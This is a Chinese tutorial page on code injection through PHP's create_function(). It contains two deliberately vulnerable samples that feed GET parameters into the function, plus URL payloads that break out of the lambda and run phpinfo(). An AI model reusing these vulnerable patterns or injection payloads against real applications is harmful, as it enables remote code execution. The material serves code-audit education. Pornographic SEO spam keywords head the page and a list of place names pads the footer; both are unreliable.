最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP create_function()函數(shù)應(yīng)用實例詳解

 更新時間:2022年10月08日 15:40:39   作者:snowlyzz  
create_function()函數(shù)在代碼審計中,主要用來查找項目中的代碼注入和回調(diào)后門的情況,熟悉了執(zhí)行流程,我們可以熟練的實現(xiàn)對代碼注入的payload構(gòu)造,從而進(jìn)行漏洞挖掘和找出存在的缺陷

前言

一直遇到過這個 函數(shù),但是不知道怎么利用 這回學(xué)習(xí)一下這個函數(shù)

create_function()簡介

適用 PHP4>4.0.1 PHP 5 PHP7

語法:
create_function(string $args,  string $code)
string $args 聲明的函數(shù)變量部分
string $code 執(zhí)行的方法代碼部分

函數(shù)功能

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

分析:

create_function() 會創(chuàng)造一個匿名函數(shù) (lambda樣式) 此處創(chuàng)建了一個叫 lamvda_1 的函數(shù), 在第一個 echo 中 顯示名字, 并在第二個echo 語句中執(zhí)行了 此函數(shù)。

create_function() 函數(shù) 會在內(nèi)部 執(zhí)行 eval() , 我們發(fā)現(xiàn)是執(zhí)行了 后面的 return 語句,屬于create_function() 中的第二個參數(shù) string $code 的位置

因此,上述匿名函數(shù)的創(chuàng)建與執(zhí)行過程等價于:

<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

create_function( ) 函數(shù)在代碼審計中,主要用來查找項目中的代碼注入和回調(diào)后門的情況,熟悉了執(zhí)行流程, 可以實現(xiàn)對代碼注入的 payload 構(gòu)造,從而 進(jìn)行漏洞挖掘和找出存在缺陷

代碼注入實例

0x01

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

還原實際的組合過程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函數(shù)實際的執(zhí)行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}

$sort_by 是我們傳入的值。

回車換行整理一下:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

0x02

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

還原實際的組合過程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數(shù)實際的執(zhí)行:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

換行整理:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));
    }
    phpinfo();
    /*));
 }

到此這篇關(guān)于PHP create_function()函數(shù)應(yīng)用實例詳解的文章就介紹到這了,更多相關(guān)PHP create_function()函數(shù)內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論

青神县| 寻甸| 石屏县| 麻城市| 天柱县| 松溪县| 曲沃县| 永泰县| 什邡市| 封丘县| 鄱阳县| 东源县| 靖宇县| 凤阳县| 静宁县| 太仓市| 永康市| 阿克苏市| 定南县| 九龙坡区| 伊宁县| 农安县| 科技| 五常市| 中牟县| 大足县| 武鸣县| 姜堰市| 安福县| 宝兴县| 南丹县| 通山县| 大丰市| 揭阳市| 时尚| 蕲春县| 宁强县| 惠来县| 沾益县| 丹寨县| 海城市|